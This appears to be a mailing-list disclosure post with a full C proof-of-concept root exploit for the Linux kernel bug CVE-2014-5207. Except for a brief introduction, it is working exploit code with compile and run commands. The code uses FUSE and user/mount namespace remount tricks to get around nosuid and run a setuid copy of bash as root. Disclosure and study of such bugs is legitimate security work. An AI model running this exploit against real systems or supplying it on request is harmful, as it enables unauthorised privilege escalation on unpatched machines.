I've been sitting on this for too long.  CVE-2014-5207 was an
interesting bug found by Kenton Varda and Eric Biederman.  Here's a
somewhat ugly PoC root exploit.  You'll need the ability to use FUSE,
although variants would work with removable media or network file
systems, too.

--Andy

/*
  FUSE-based exploit for CVE-2014-5207
  Copyright (c) 2014 Andy Lutomirski

  Based on code that is:
  Copyright (C) 2001-2007  Miklos Szeredi <miklos@szeredi.hu>

  This program can be distributed under the terms of the GNU GPL.
  See the file COPYING.

  gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
  mkdir test
  ./fuse_suid test

  This isn't a work of art: it doesn't clean up after itself very well.
*/

#define _GNU_SOURCE
#define FUSE_USE_VERSION 26

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <err.h>
#include <sched.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <unistd.h>

static const char *sh_path = "/sh";
static int sh_fd;
static loff_t sh_size;

static int hello_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));
    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, sh_path) == 0) {
        stbuf->st_mode = S_IFREG | 04755;
        stbuf->st_nlink = 1;
        stbuf->st_size = sh_size;
    } else
        res = -ENOENT;

    return res;
}

static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
             off_t offset, struct fuse_file_info *fi)
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0)
        return -ENOENT;

    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, sh_path + 1, NULL, 0);

    return 0;
}

static int hello_open(const char *path, struct fuse_file_info *fi)
{
    if (strcmp(path, sh_path) != 0)
        return -ENOENT;

    if ((fi->flags & 3) != O_RDONLY)
        return -EACCES;

    return 0;
}

static int hello_read(const char *path, char *buf, size_t size, off_t offset,
              struct fuse_file_info *fi)
{
    (void) fi;
    if (strcmp(path, sh_path) != 0)
        return -ENOENT;

    return pread(sh_fd, buf, size, offset);
}

static struct fuse_operations hello_oper = {
    .getattr    = hello_getattr,
    .readdir    = hello_readdir,
    .open        = hello_open,
    .read        = hello_read,
};

static int evilfd = -1;

static int child2(void *mnt_void)
{
    const char *mountpoint = mnt_void;
    int fd2;

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
        err(1, "unshare");

    if (mount(mountpoint, mountpoint, NULL, MS_REMOUNT | MS_BIND, NULL) < 0)
        err(1, "mount");

    fd2 = open(mountpoint, O_RDONLY | O_DIRECTORY);
    if (fd2 == -1)
        err(1, "open");

    if (dup3(fd2, evilfd, O_CLOEXEC) == -1)
        err(1, "dup3");
    close(fd2);

    printf("Mount hackery seems to have worked.\n");

    exit(0);
}

static int child1(const char *mountpoint)
{
    char child2stack[2048];
    char evil_path[1024];

    evilfd = dup(0);
    if (evilfd == -1)
        err(1, "dup");

    if (clone(child2, child2stack,
          CLONE_FILES | CLONE_VFORK,
          (void *)mountpoint) == -1)
        err(1, "clone");

    printf("Here goes...\n");

    sprintf(evil_path, "/proc/self/fd/%d/sh", evilfd);
    execl(evil_path, "sh", "-p", NULL);
    perror(evil_path);
    return 1;
}

static int fuse_main_suid(int argc, char *argv[],
              const struct fuse_operations *op,
              void *user_data)
{
    struct fuse *fuse;
    char *mountpoint;
    int multithreaded;
    int res;

    if (argc != 2) {
        printf("Usage: fuse_suid <mountpoint>\n");
        return -EINVAL;
    }

    char *args[] = {"fuse_suid", "-f", "--", argv[1], NULL};

    fuse = fuse_setup(sizeof(args)/sizeof(args[0]) - 1, args,
              op, sizeof(*op), &mountpoint,
              &multithreaded, user_data);
    if (fuse == NULL)
        return 1;

    printf("FUSE initialized.  Time to have some fun...\n");
    printf("Warning: this exploit hangs on exit.  Hit Ctrl-C when done.\n");
    if (fork() == 0)
        _exit(child1(mountpoint));

    if (multithreaded)
        res = fuse_loop_mt(fuse);
    else
        res = fuse_loop(fuse);

    fuse_teardown(fuse, mountpoint);
    if (res == -1)
        return 1;

    return 0;
}

int main(int argc, char *argv[])
{
    sh_fd = open("/bin/bash", O_RDONLY);
    if (sh_fd == -1)
        err(1, "sh");
    sh_size = lseek(sh_fd, 0, SEEK_END);
    return fuse_main_suid(argc, argv, &hello_oper, NULL);
}